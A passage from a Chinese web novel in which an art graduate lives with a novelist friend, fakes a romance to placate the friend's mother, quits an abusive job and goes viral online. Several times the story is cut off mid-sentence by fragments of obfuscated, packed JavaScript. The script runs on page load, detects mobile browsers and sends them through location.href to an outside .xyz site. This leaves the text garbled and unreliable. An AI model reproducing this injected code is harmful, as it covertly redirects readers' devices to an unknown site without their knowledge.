0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149674|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家境也还行,杭州本地人,家里两套出租的门市。” 我说道:“你是杭州人,她可是上海人,她家里的门市都记她名,你家两套门市在你名下吗?” 我以为这么说足够让他自惭形秽了。 结果他眼睛一亮,更积极了,就像闻到血腥味的饿狼,脸上的毛孔都张开了一下,“哇,是独生女么,我请你吃饭,你介绍我们认识认识呗。” 认识你爹个腿儿。 我微微一笑,开始胡编乱造:“她有男朋友了。” 这男的依旧死缠烂打:“就认识一下,交个朋友,也不是说非要怎样。” 我也只好继续胡编乱造:“她男朋友是北京人,又高又帅,开保时捷的富二代。” 这个很普通但很自信的男的立刻灰溜溜的走了。 我觉得这男的挺有意思的,见到优秀而富有的年轻女性,他把她当作一盘菜。但见到比他优秀的男性,他立刻就知道自惭形秽了,不然我还以为他没有羞耻心呢。 过了一个星期,唐雨薇的老妈来了。 那天我难得在六点钟下班回家,刚走进玄关,就发现客厅里堆着好多东西,水果牛奶什么的堆了满满一茶几,厨房里传来炒菜的声音,飘来一阵阵饭香。 唐雨薇是绝对不会在晚上炒菜的,我穿上拖鞋,好奇地走到厨房里一看,一个高挑挺拔的中年女士正系着唐雨薇买的棕色小熊围裙站在煤气灶前炒菜。 她的着装实在是太干练了,上身穿着浅灰色西装马甲,下半身穿着十分挺括的的灰色阔腿西装裤,一头棕红色的卷发被皮筋扎起来,耳朵上戴着两个金色的几何立方体方形耳环。 特别的酷,特别的干练,特别的女强人。 我一愣,唐雨薇正好从洗手间里走出来,朝厨房喊了一声。 “妈,这是鹿幼薇。” 很商务风的唐雨薇老妈一边掂锅一边看了我一眼,给我露出一个和善的微笑。 唐雨薇和她妈妈长得很像,身段和脸型都一模一样,她妈妈的五官更加英气一些,唐雨薇偏柔和,但两人都是大美女,一个年轻的大美女和一位经过岁月沉淀后成熟强大的大美女。 我和唐雨薇坐在客厅里吃水果。 唐雨薇买的水果一向很贵也很好吃,但我发现她妈妈买的水果更贵更好吃。 一箱标价328的苹果,里面只有12个。 我都不太敢吃。 唐雨薇打着哈欠啃苹果,顺便递给我一个,毫不夸张的说,我居然从一个苹果里面吃到了一股葡萄味,而且这苹果居然是糖心的,有一个好大的糖心! 唐雨薇的妈妈也姓唐,叫唐媚,和前夫离婚后就让唐雨薇随她的姓。 吃完苹果我和唐雨薇去帮忙端菜,唐阿姨和我聊天。 问我的年龄,问我的大学,问我的工作,问我的收入,问我的家庭,问我以后的事业规划和未来的生活安排。 我觉得她有一点越界了。 但我在唐雨薇这里住着,唐雨薇还没有收我租金。 我当时还觉得长住在这里不好,想出去找房子,但唐雨薇坚持让我住下,因为她不想一个人看鬼片。 她写这本灵异文注定了她要看许多鬼片,家里就她一个活物的话她真的有点受不了。 我问她这本文要些多久,她说现在世界观还没铺开。 我问她要些多少字。 她说她算了一下,也就不到三百万字。 我觉得我要交点租金,她说这房子是她买的。 我说就算是你买的,我也还是得交点租金帮你还贷款啊。 她说她是全款买的。 我:....... 这房子是她18岁的成年礼物,以前一直出租来着,租户退租之后她正好想寻一个山清水秀的地方写文,就搬到了这里了。 我和她分担伙食费,日常用品什么的,比如洗脸巾卫生纸洗衣液什么的都被我承包了。 于是我认真的、诚恳的、回答着唐阿姨的每一句话。 她脸上的表情很难形容,我每说一句话,她就要不着痕迹地皱一下眉头。 这场景真是让我坐立难安,碗里的菜都不香了,莫名让我想起电视剧里那些男主角/女主角带另一半去家里吃饭,然后被未来的丈母娘/婆婆挑剔审视的场景。 我在桌子底下用膝盖怼了怼唐雨薇的膝盖,唐雨薇默默吃菜,安静得像个哑巴。 我只能硬着头皮和唐阿姨说话。 等这些都回答完了之后,唐阿姨突然问我:“你们在一起多久了?” 我:??? 15.第 15 章 这是什么离谱的问题啊? 什么叫在一起了? 唐雨薇手一抖,筷子里夹的土豆都被吓掉了,她大声地清了清嗓子,含糊其词地说道:“挺久了。” 我冒出一脑袋问号。 桌子底下,唐雨薇轻轻地踹了踹我的脚。 虽然我不懂为什么,但我立马心领神会,开始和她一起打配合,坚强地唐阿姨微笑着,小鸡啄米似的点着头:“嗯嗯嗯,对对对。” 唐阿姨继续用那种挑剔的眼神看着我,脸色不是太好,眼中有一种视死如归的、淡淡的认命感。 这一顿饭吃得我如坐针毡、战战兢兢、兢兢业业、夜里难入眠。 晚上我和唐雨薇睡在次卧,主卧留给了唐雨薇尊贵的母上大人。 我们俩躺在1米2的小床上,我趴在枕头上小声嘀咕:“到底咋回事啊?” 唐雨薇小声说道:“我今年不是已经25了么,我妈开始催婚了,天天让我去相亲,把我烦的不行,我实在没办法了,就说自己性取向有问题,不喜欢男的。” 我趴在枕头上点头表示理解,“理解归理解,可是你也不用撒这种谎吧?” 唐雨薇露出苦笑,趴在枕头上小声和我说道:“你不懂我妈这种人,不到最后一刻她是永远不会死心的,只要我说自己单身,她立马就能给我搜罗好几个相亲对象啊,我也是实在没招了。” “那你从上海搬到杭州来,就是因为你妈催婚啊?” “有一部分这个原因吧,”唐雨薇发出一声长叹,“其实远离以前的环境,给自己一个新的开始也不错,在一个陌生的地方,很多东西都要慢慢摸索,给了大脑很多新鲜感。” “但你放心,我是直女,比真金还真。” 我点头,“我也是,比真金还真。” 当时我们俩说这句话的时候还是很诚恳的,后来一想,真金虽然很真,但是硬度不高,特么的很容易弯啊! 我睡得很快,因为明天还得去工作。 上班的时候唐阿姨开车送我,唐阿姨是开车从上海来到杭州的,她的车是一辆白色的奔驰大g,坐上去特别舒服。 我连忙说不用,唐阿姨表示这次来原本就是想和唐雨薇到处逛一逛,只是顺便送一下我而已。 于是她开着大g把我送到了公司门口,我下车的时候唐雨薇降下车窗和我挥手说拜拜。 我下车的时候刚巧遇到了两个男同事,其中一个男同事就是那个特别自信的男实习生,他的眼睛先是在车上转了一圈,看了一眼车身,又看了一眼车牌,又看向坐在车里的唐雨薇,然后才看我。 车开走了。 “沪牌的车,你朋友送你来的啊?”男实习生的脸都快笑成一朵花,“你吃不吃早饭,这个奥尔良鸡腿烧饼特别好吃。” 我哪敢吃他的东西啊,职场上就是这个死样,吃他一块饼他就要让我还回去一座山。 “吃过了,”我昂首挺胸地走进电梯里,好像开大奔的是我亲妈一样。 昂贵的东西会在无形之中给予人很多的自信,整整一上午,我的精神状态都很饱满。 小夏又在一旁打着哈欠,我转头看着她,她一脸菜色,全身都散发出淡淡的死志,完美的诠释了什么叫做上班如上坟。 她摸鱼的时候会刷刷微博,有一次我接完水路过她工位,发现她微博的id叫做领导同事在天堂。 给小女子笑的哟。 我们又开始做特效渲染,我在那做动物的毛发,给我做的好想死。 下班的时候又是晚上9点多了,我和小夏一人买了一桶关东煮,有气无力地等公交。 小夏一边吃丸子一边说道:“你说这样的日子什么时候才是个头啊。” “看不到尽头,”我吃了个萝卜,双眼困的都睁不开了,“我不想再做毛了,现在看到猕猴桃都犯恶心。” 我们俩长吁短叹,叹息着叹息着公交车就到了。 虽然通勤时间有点长,但好在不用转车,我在公交车上继续吃关东煮,车里的灯光幽幽地照射在社畜们疲惫麻木的脸上。 如果这一幕放在唐雨薇的小说里,下个剧情点就是一公交车的人除了主角之外全都是鬼,然后开始无限流闯关。 想到这里我立刻打了个哆嗦,唐雨薇天天写这玩意,怪不得会一惊一乍的。 她一个星期有5天是和我睡在一张床上的,很多次我醒来之后发现自己又在睡梦中把手伸进了她的睡裙里,要么摸她后背,要么摸她腰,要么再过分点开始往上...... 偶尔我也会挺庆幸的,还好我的手只是喜欢往上,而不是往下。 脑子想着一堆乱糟糟的东西,不知不觉间公交车就到站了,街上虽然能看到人,但还是有点冷清和寥落。 以前我去过长沙,晚上两三点还巨多人,可能是先入为主的原因,让我总觉得南方的夜生活都这样,两相对比之下,杭州的夜生活实在是有点冷清了,就像一个规律作息的乖宝宝。 小区里有人在散步,也有人在遛狗,一只壮硕的哈士奇迈着六亲不认的步伐从我身边呼啸而过,狗绳后面是被扯的跌跌撞撞踉踉跄跄气喘吁吁的狗主人。 不知道是人在遛狗还是狗在遛人。 我打开门,客厅里只开了一盏小灯,地板上铺着紫色瑜伽垫,唐雨薇正用一种非常扭曲的姿势在瑜伽垫上做瑜伽。 电视机开着,放着一部美利国的血腥电影《致命弯道》。 我赶紧抖了抖胳膊上的鸡皮疙瘩,“大晚上你看致命弯道,你不想睡觉?” 唐雨薇语幽幽:“没办法,我要找灵感,找感觉。” 我放下包,脱了外套去洗漱,刷牙洗澡一气呵成,敷着面膜穿着浴袍从洗手间里走出来。 致命弯道也到了尾声,唐雨薇也去洗手间里敷了一张面膜,我和她敷着面膜坐在床上,她开始翻看新章评论。 卧室里开着台灯,光线正好,既不过分明亮,也不过分黑暗。 我拉过旁边的移动升降桌,把电脑放上去开始码字,偶尔唐雨薇会凑过来看两眼。 我画画虽慢,但码字的速度还算可以,一小时能写2500字左右,有时候手速爆发能写到3000。 写完一章3500字的更新后已经是晚上11:30了,我合上电脑长叹一声,吃了一片有助于睡眠和情绪稳定的的钙镁片,关灯睡觉。 自从唐雨薇妈妈来了之后,我和唐雨薇就不用起床做早餐了,似乎天下的每一个妈妈都是勤劳的,会格外关注孩子的吃饭问题。 我们吃上了豆腐生煎、鲜肉笋丁烧卖、蟹粉小笼、小蜜薯、葱包桧、蛋饼、牛肉粉丝、糯米饭包油条。 这些都是唐雨薇的妈妈开车去买的,在此之前,我和唐雨薇从来不知道杭州的早饭有这么多可以吃的东西。 有一天唐雨薇起晚了,餐桌上只有我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159367|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和唐阿姨在吃豆腐生煎,吃着吃着,唐阿姨忽然说道:“你和唐唐不是情侣吧。” 我瞪大了眼睛。 唐阿姨叹气:“唐唐这nunu啊......” 说到一半,她又把话咽了下去,“杭州和上海虽然近 ,我也不能天天来照顾她,有个朋友在身边相互照应也挺好的,她吃饭都规律了。” 我琢磨了好半天,也没琢磨出那个nunu是啥意思,唐阿姨又低声说了句上海话,我使劲分析,也没分析明白。 我咽下嘴里的豆腐生煎,虚心请教:“这咋看出来的?” “阿姨是过来人,结过两次婚,谈恋爱哪是你们这样的呀。”唐阿姨微笑着,露出关爱智障儿童的目光,“不是牵牵手抱两下就是谈恋爱的。” 唐阿姨是一个特别精明的人,很不好糊弄。 做生意的商人都特别的精明,很善于观察,我和唐雨薇实在不像情侣,尽管我们俩已经很努力的在假装了。 我们俩缺少真正情侣会有的那种亲密感,用唐阿姨的话来说,就是我们两个之间很有分寸感。 比如我们盖两床被子,比如她观察我们一星期了,发现我们俩都没亲过嘴,我们俩从来不喝对方水杯里的水,也不吃对方碗里的饭,偌大的房间里没有一样情侣物品,我们俩之间的眼神也没有情侣之间的脉脉含情欲语还休。 我赶紧拍马屁:“阿姨您真是火眼金睛啊,什么事都瞒不过你,怪不得能做生意。” 唐阿姨又笑了。 她在杭州待了小半个月,回上海的前一天我们出去吃饭,吃完饭之后逛着逛着突然去了金店:“给你们买点礼物。” 我连忙推脱,“这哪行啊,太贵重了。” 唐雨薇就和我不一样了,花起亲妈的钱那真是一点不客气的,立刻指着柜台里的一个金镯子对售货员说道,“我想看一下那个蝴蝶结镯子。” 美丽苗条的售货员愣了一下,然后迅速把那个镯子拿了出来。 我的目光巡视着柜台,心想买一粒金子做的滚运珠就行,也就几百块钱,撑死过千,总不能让唐阿姨破费吧。 唐雨薇带上蝴蝶结镯子之后欣赏了一会,表示就要这个,然后她们母女俩的目光齐刷刷地转向了我。 我挠头,腼腆地笑:“我不怎么带金子。” 唐雨薇挽着唐阿姨的手,“妈,她不好意思要,你给我们两个买同款吧。” 我赶紧惊慌地摆手:“不用不用,这太贵重了,我哪能收这么贵重的东西。” 唐阿姨说道:“哪里贵重了,又不是什么奢侈品,金子还保值呢,小女孩就是要多戴金子。” 美丽漂亮的售货员也非常热情地推销这个镯子,“这个蝴蝶结镯子还能辟邪呢,寓意特别好,特别适合女孩子戴。” 我心想现在的售货员为了业绩也是拼了,连蝴蝶结能辟邪这话都能面不改色地说出来。 一听到能辟邪,最近天天看鬼片和血浆片的唐雨薇眉心一动,立刻坚定地说道:“妈,我们俩就要这个。” 唐阿姨买了两个蝴蝶结镯子回家了,两个40克的金镯子加1000多的手工费,花了差不多3万6000块钱。 离开商场后唐阿姨就开着车潇洒的回上海了,我和唐雨薇一人带着一个金镯子坐在奶茶店里讨论晚上觅食的地方。 过了一段日子之后我们才知道镯子上的图案不是蝴蝶结,而是降魔杵。 16.第 16 章 从小到大,我从来没有收过如此贵重的礼物。 最贵重的还是我考上大学那年,大舅给我买了一台笔记本电脑,我用它来画画写小说,写出的小说成功签约了现在的网站,成为了一名没什么名气的作者。 随着时代的发展,那个笔记本电脑在我大四快要毕业的时候被换掉了,但是我一直都留着它,因为那是我收到的第一份比较昂贵的礼物。 现在这个镯子可以买五个笔记本电脑了,我戴在手上左看右看上看下看正面反面来回看,总感觉手腕沉甸甸的。 回到家里之后,唐雨薇又开始看《致命弯道》,我本来在喝杨梅果汁来着,但是电影里的血浆实在太多了,看着看着,我对鲜红的杨梅汁生出了一种生理性的反感,赶紧跑去冰箱里拿了一瓶黄色的橙汁。 第二天上班时我戴着那个金镯子去了,午休时女同事们闲聊,聊到我的金镯子时,我就随口说了一句,是朋友的妈妈给我买的。 只是一句无心之言,结果午休快要结束之前,那个很自信的实习男生又来向我打听唐雨薇的消息。 我发觉有些男性对美丽漂亮的女性特别的执着,如果这个美丽漂亮的年轻女性家境还特别不错的话,那就变成了双倍的执着。 我有时候真的在认真怀疑这个很自信的实习男生是不是从来都不照镜子。 我从小到大都听说哪家哪家的女人傍了大款攀了高枝,其实男人也挺喜欢傍大款攀高枝的,然而世人们对女人的这种行为给予鄙视,说她们虚荣;对男人的这种行为则给予鼓励,说他们有本事。 唐雨薇是个写小说的,又不是什么扶贫大使。 此男又说可以帮我做一些渲染任务,以此来换取唐雨薇的联系方式。 我难道是什么很贱的人吗,拿自己现在的衣食父母来置换资源? 下班之后我一直和唐雨薇吐槽,唐雨薇躺在瑜伽垫上掰腿,电视里又在放着一部新片子,我定睛一看,居然是《死神来了》。 我把移动升降桌从唐雨薇的卧室转到了客厅里,一边码字一边看片。 在我看来,《死神来了》这部片子是比其他的恐怖片要吓人很多的,因为生活中总是充满各种各样的巧合和意外,无法预测。 看完咒怨那几天,唐雨薇发呆的时候再也不往本子上画圈上了。我则是把被子裹得更紧了,必须严丝合缝的贴在身上,不留任何一丝缝隙。 我看完《死神来了》之后总觉得家里危机四伏,哪里都不能碰,从滴水的地砖到挂在墙上的吹风机,都充满了未知的危险。 唐雨薇看完这些片子的后遗症这更加明显,比如她饿了,想吃一个面包,但她不敢使用微波炉(电影里有一个脸被微波炉烤熟的人),只能生啃。 再比如她想洗个头,但是不敢用吹风机(电影里有一个被吹风机弄死的人),所以她一直裹着干发帽,为了让头发干得更快,她就在客厅里来回甩头。 我从洗手间出来时,就看见一个一身白衣长发遮脸的女子在门前疯狂扭动,那一刻,我差点被吓得心脏骤停。 我迸发出高分贝的尖叫:“啊啊啊唐雨薇你干嘛!你现在和电影里中邪的女主有什么区别!” 唐雨薇站在我面前,拨开前面挡脸的长发,“没有吹风机,我只能人为甩干了。” “你怎么可以这样懦弱,看个电影连吹风机都不敢用了!”我一脸的恨铁不成钢,“你坐那儿,我给你吹。” 唐雨薇坐在沙发上,我拿着吹风机给她吹头发。 我是第一次给人吹头发,唐雨薇的头发十分的柔滑,像巧克力一样丝滑地淌过我的手掌。 我一边给她吹头发一边吐槽:“这是什么睡裙啊,这个品牌是向现在的仙侠剧看齐,准备走丧葬风吗?” “这是无印良品的睡裙,可受欢迎了。” 她对无印良品有一种迷之热爱,放假这天她又拉着我去逛无印良品,反复说着无印良品的做工有多么的细致,衣服的面料是多么的舒服,版型有多么多么的好。 我应该是被她洗脑了,竟然也掏钱买了几件。 唐雨薇买了一套可怕的明黄色衣裳,我考虑到日常和实用性,买了一件灰色的亚麻长袖连衣裙。 我们俩喜滋滋地拎着两包新衣服回家了,那时也没有觉得任何不对。 摘下吊牌,洗净烘干,我们美滋滋的穿上了新衣服,各自盘踞在沙发两头玩手机。 这时候我们自我感觉十分良好,直到我去了一趟洗手间,在镜柜前看到了自己的模样。 头发盘起,灰袍曳地,如果再加一个灰色小帽,就可以去甘露寺C位出家了。 我恍恍惚惚走出去,一眼看到坐在沙发上玩手机的唐雨薇。 她穿着那件宽松休闲的黄色长袖连衣裙,裙摆已经盖过了脚踝,那种黄真的很特殊,和少林寺修行的和尚身上穿的衣服一个颜色。 当我说出这一点后,唐雨薇扯着裙摆看了一会儿,也沉默了。 我们俩沉默地盘踞在沙发两头。 一个像尼姑,一个像方丈。 我还买了一件灰蓝色条纹的睡衣,我当时在店里摸料子的时候,觉得这衣服特别舒适,条纹也不错,特别的休闲居家。 我穿上后往床上一躺,唐雨薇看了我一眼,忽然发出了嘎嘎嘎的鹅叫。 “啊哈哈哈哈怎么好像疯人院里跑出来的病号啊!”她穿着方丈服,笑得直不起来腰,“啊哈哈哈你还说我,学美术的审美也不怎么样嘛!” 我怒从心起,恶胆边生,拿起放在椅子上的红毯子就给她批上了。 这回我们俩都笑个不停,唐雨薇挥舞着“袈裟”,把我的脑袋按进她的袈裟里了。 唐雨薇又穿上了其他的无印良品的衣服,一边照镜子,一边对我说道:“这衣服让人感觉我很久没有性生活的样子。” 我又开始笑了。 晚上睡觉的时候,我下单了一个小型的缝纫机,我选修过服装工艺课程,会一点缝纫,虽然和专业的服装设计同学没法比,但小小的改造一下衣裳不成问题。 我把蓝色条纹睡衣的翻领给去掉了,改成了圆领,扣子也摘掉,换成了饱和度稍低一些的马卡龙蓝纽扣。换完纽扣之后,这套睡衣已经不那么像病号服了,我又在前胸的位置绣了一朵粉色的绒花。 改造之后这套睡衣变得非常小清新,唐雨薇让我帮她的方丈服改头换面。 这件衣服的改造还是稍微有点难度的,我只能选择先增加露肤度,把肩颈那一块都露出来。 将方丈服的翻领去掉,改成了稍微有点大的圆领口,把扣子也换掉,换上了几颗花朵形状的奶黄色纽扣。 虽然还有一种挥之不去的和尚感,但比原来的样子好多了,唐雨薇穿的也很开心。 买的那台缝纫机发挥了很大的用处,给唐雨薇的粉色毛呢大衣缝好了破损的拉链,将穿腻了的旧衣服做了一些时尚小改造,给被套里缝过固定绳,还缝好了从宜家买来的单片窗帘。 有一次唐雨薇把漂白液当成了彩漂液倒在了床单上,漂白液粘到的地方,浅灰色的床单立刻褪色了。 唐雨薇要把斑驳的床单扔掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166911|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我特别心痛。 这套床品是120支的高支棉,一套差不多花了3000多,我说还能再补救补救,想了半天,在褪色的地方绣了好多的花花草草。 绣花的手法都是非常浅显基本的绣工,我读服装工艺选修课的时候,借过同学的刺绣书看,那本书叫《樋口愉美子的刺绣时间》,里面会教一些比较基础的刺绣手法。 像苏绣这种特别专业特别复杂的我是弄不了,一般的刺绣我还是能够轻松解决的,我又是美术生,懂构图,懂色彩,这些可以稍微弥补一下我在刺绣方面的不足。 我又买了好多好多很贵的丝线,先用颜色不一的绿色绒线绣出草地,然后在草地上绣出绒线花朵。 于是被漂白液弄褪色的地方,出现了一个热闹的小花园。 唐雨薇看的叹为观止。 她就双手捧脸的看着我,我的虚荣心得到了极大的满足。 不知不觉中,我已经上了两个月的班,实习工资发下来的第二天,小夏扔下一封辞职信就走了。 她实在受不了朱涛和发霉的茄子女士对我们的压榨,“上班的第二个月我已经去了三次医院,赚的钱都不够看病的,薇薇你珍重吧。” 我看着绿泡泡里小夏发来的消息陷入沉思。 小夏辞职后,属于她的一部分工作自然是交给了我这个同样苦命的实习生。 我去找总监,“工作量太多了,我一个人实在是做不完啊。” 总监坐在办公椅上,语重心长:“你这个年纪正是打拼的时候,这时候不拼啥时候拼,现在就业形势多么严峻,多少毕业生找不到工作,这全部都是因为学校里学出来的知识无法应用到实际工作中,你多工作就是多学习,大家都是从这个时候过来的,你表现好,就能得到转正的机会.......” 他又说了一长串,我已经不记得了,我浑浑噩噩地上了一天的班,做了一天的渲染。 这个时候也没有想过要辞职,可能是因为我潜意识里觉得人活着就是要承受痛苦。 真正让我决定辞职的是公司发奖金了,但没有我的份。 上个月大家都在加班,通宵加点的干,我们这帮实习生也是如此。 可能有人会觉得一个实习生凭什么要奖金啊,可我干的活比那些员工都多啊。 而且我该学的都学会了。 转正没消息,奖金也没有我的份,总监天天对我pua,各种服从性测试,水深火热熬到发工资那天,一看到手的工资只有3500。 我快要碎了。 我去辞职了。 我深知总监的pua话术,辞职的时候特意打开了手机的录像功能,还揣了一只唐雨薇的录音笔。 意料之中的,我遭到了总裁的恐吓,这个狗玩意儿说什么这个业务已经交到了我手里,如果我完不成,耽误了甲方的进度就要我赔钱,把我告到法庭。 我把总监大骂了一顿。 我骂的很脏,把他祖宗十八代都骂了一边,整个办公室都回荡着我的骂声。 总监PUA别人习惯了,大概是从没挨过骂,一时间傻在当场。 我还顺便骂了发霉的茄子和朱涛,从容貌到身材,各方面都侮辱了一遍。 随后我扬长而去,把辞职视频发到了网上。 意料之外的是——我的视频居然大火了。 它居然登上了各大网站的热搜! 一夜之间,我那个画画的账号涨了6万多的粉丝,许多人来找我约稿。 真是四年画画无人识,一朝辞职天下知。 17.第 17 章 找我约稿的人开始暴增,我粗略一算,就连明年的稿子都排满了。 我大惊失色,赶紧停止接单。 这泼天的富贵砸下来真是让人受不了,我又欣喜又忐忑,抱着唐雨薇一直狂叫。 我一直翻看账号下的评论,看到网友们舌灿莲花,热情问候不做人的公司。 这帮网友们把不要脸的总监和发霉的茄子以及油腻的猪头男都狠狠问候了一遍,对他们进行了喜闻乐见的人身攻击。 懂法律的网友们纷纷聚集在评论区贴心地安慰我:“没事的,宝宝不要担心,辞职是通知而不是申请。” 神通广大的网友们愣是根据我的ip地址和以前发过的上班吐槽视频里出现的一家包子铺把那个狗公司给扒了出来。 他们甚至还扒出了总监、猪头男、发霉茄子的网络社交账号,然后激情开喷,把已经辞职的小夏都看激动了,我们俩又在绿泡泡上大骂了狗公司。 然后总监开始给我打电话,威胁我删掉视频,否则他就要起诉我,起诉我泄露他人隐私和诽谤造谣的行为。 我:“我泄露谁的隐私了?视频里又没拍你的丑脸,辞职了要起诉我,我发个视频吐槽还要起诉我,你以为法庭是你家呀,多大的脸啊?” 总监打完电话,发霉的茄子又开始在微信上骂我,“你要不要脸,有没有一点功德心,是你自己能力差完不成工作,不要把什么屎盆子都扣在我头上。” 我:“我一个人干三个人的活当然完不成了,你个满脸褶子的老女人,你傻逼吧,你以为我是哪吒啊,还有我劝你以后少穿紫色毛衣,配上你那张蜡黄的脸,特别像一个长了毛的茄子。” 骂完我就拉黑了。 通通拉黑,爽的我不要不要的。 我提前开启了录音,又把通话录音和微信聊天记录一股脑的发在了我的账号上,热爱吃瓜的网友们很乐意看到后续。 大家都是被压榨的牛马,很乐意看到这种牛马翻身骑在公司脖子上拉屎的爽文情节。 我出了一口恶气,网友们收获了吃瓜的快乐,双赢大结局。 感谢互联网! 我辞职之后,唐雨薇明显变得开心了起来,一整天都在哼歌。 其实这段时间我也发现了,唐雨薇是需要有人陪伴的,一旦只剩她自己一个人,她的情绪就会特别低落。 每次我下班回家,她都在窝在客厅的沙发上。 我回来的早,就能看到她窝在沙发里看书,如果我回来的很晚,就能看到她裹着我在超市里买的那条奶黄色毯子蜷缩在沙发上睡觉。 唐阿姨原本想请一个阿姨来照顾唐雨薇的日常起居来着,但我凑巧在这个节点留在了杭州。 一个刚大学毕业又热爱工作的年轻女生,会做一点简单的饭,会打扫屋子,会准时准点的睡觉,会陪唐雨薇一起出门逛街吃饭,一起做美甲,一起做头发,一起码字,一起拉片,共同爱好和共同语言都很多。 唐阿姨明显觉得我是个更合适的选择。 我和唐阿姨加了微信,唐阿姨每隔两天就会问我唐雨薇的生活状态怎么样。 有没有好好吃饭,有没有规律作息,有没有伤心难过,是否情绪饱满,每天都做了什么,去哪儿逛街了,去哪儿吃饭了,钱还够不够花。 吃人嘴软,拿人手短,我看着手腕上的降魔杵金镯子陷入沉思,感觉自己像个间谍,又像古代陪公子小姐读书的小丫鬟。 得知我辞职之后,除了唐雨薇之外,最高兴的就是唐阿姨了。 唐阿姨问我的打算,并且委婉地表示最好和唐雨薇住在一起,毕竟自由职业者最容易作息颠倒,而且唐雨薇一个人的时候总会忘记吃饭。 在唐阿姨眼里,唐雨薇是一个自理能力特别差又特别会糊弄日子的人,而且她还体弱多病,又长得漂亮,还没什么武力值,是绝对不能自由放养的。 她又说在杭州有认识的朋友们,如果我还想找工作,她可以帮我。 这一瞬间我真是开了眼界了。 恍惚想起以前上网冲浪的时候,有网友说家里的保姆特别好,因为保姆的儿子要去其他的城市结婚生子找工作,保姆准备辞职,雇主觉得天都快塌了。神通广大的雇主硬是把保姆的儿子调到了他们的城市,还给保姆儿子的老婆也在他们的公司找了工作。 没想到类似的事情居然也发生在了我的身上。 辞职之后我一直在画画和码字,专注运营我的网络账号。 我那本神豪文又上了一个不错的榜单,每日收入300多块钱,月末稿费过万。 画稿的定金和私单的稿费加起来已经有3万5千多一点,再加上米画师的稿费,空暇的时候粗略一算,我这个月的收入居然居然有9万多了。 震惊我妈! 我画稿的速度越来越快,但我码字的速度慢下来了,果然鱼和熊掌不可兼得。 我和肥猪满圈聊天的时候,肥猪满圈感叹了一番我的收入,然后和我吐槽她找的保洁阿姨。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166912|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的天啊,她居然要给我介绍她儿子,我的妈呀简直离了个大谱!” “她儿子大专,我不是瞧不起专科生,毕竟我也只是个二本,但我可是月入五六万的卷王,她儿子的工资才3500啊!” “长得帅也就算了,我愿意花钱养男人,可她儿子长得......诶我的天呐,我这是造了什么孽啊!” “每次她上门保洁我都送饮料送水果,结果她就这样恩将仇报!总算明白为什么网友们总说单身女性是一块人人垂涎的肥肉了!” 肥猪满圈独居,养了三只猫和一条狗,家里狗毛猫毛到处乱飞,一个人打扫不过来,不得不请保洁阿姨。 肥猪满圈是一个清秀文气的女生,常年健身打拳,她的体重有120斤,但因为肌肉含量高,所以看上去特别特别的苗条,衣服穿严实的时候是有点消瘦的。 我们俩挽着手臂一起逛街时,我觉得她身上的肉特别紧实,逛景德镇的时候,她就像个不知疲倦的永动机,脚步轻盈、身姿飞快、双眼放光地在一堆眼花缭乱的瓷器中穿梭。 她甚至要给我买杯子,我们寝室里有两个陶瓷专业的,小小的寝室被我们的一堆小玩意儿堆满,其中最不缺的就是零食和各种瓷器。 肥猪满圈对所有人都很热情,她就是一个待人特别真诚的人,不像我这个会看碟下菜的变色龙,也不像唐雨薇那么的骄矜 她非常非常的有亲和力,但亲和力太强就会让一些人越界,比如这个保洁阿姨。 肥猪满圈拒绝之后,这个保洁阿姨就就不好好干活了,收拾屋子的时候故意把很多东西弄得叮当响,总是摔摔打打的。 肥猪满圈只好换了个保洁阿姨。 末了,她还感叹:“现在的家政人员真不好找啊,而且家政人员就是家政人员,是不可以当朋友的......” 我又陷入了沉思。 绿泡泡叮咚一声,是唐阿姨发来的消息,问唐雨薇有没有好好吃饭。 我走出次卧,客厅里飘来一阵阵烟火气。 唐雨薇系着一条看起来像时装的深咖色围裙,长发高挽,正拿着锅铲站在铁锅前炒菜。 我忽然想起这阵子我忙着画画,连续一个星期都是唐雨薇在做晚餐。 不知道什么时候开始,十指不沾阳春水的唐雨薇也学会做饭了。 我们都改变了一些。 我转了转手腕,手腕上的金镯子愈发沉重了,忽然感到一丝淡淡的心虚。 人怎么能连吃带拿的? 18.第 18 章 我和唐雨薇都有保持身材的需求,晚餐一向吃的很简单,都是各种汤和各种馒头。 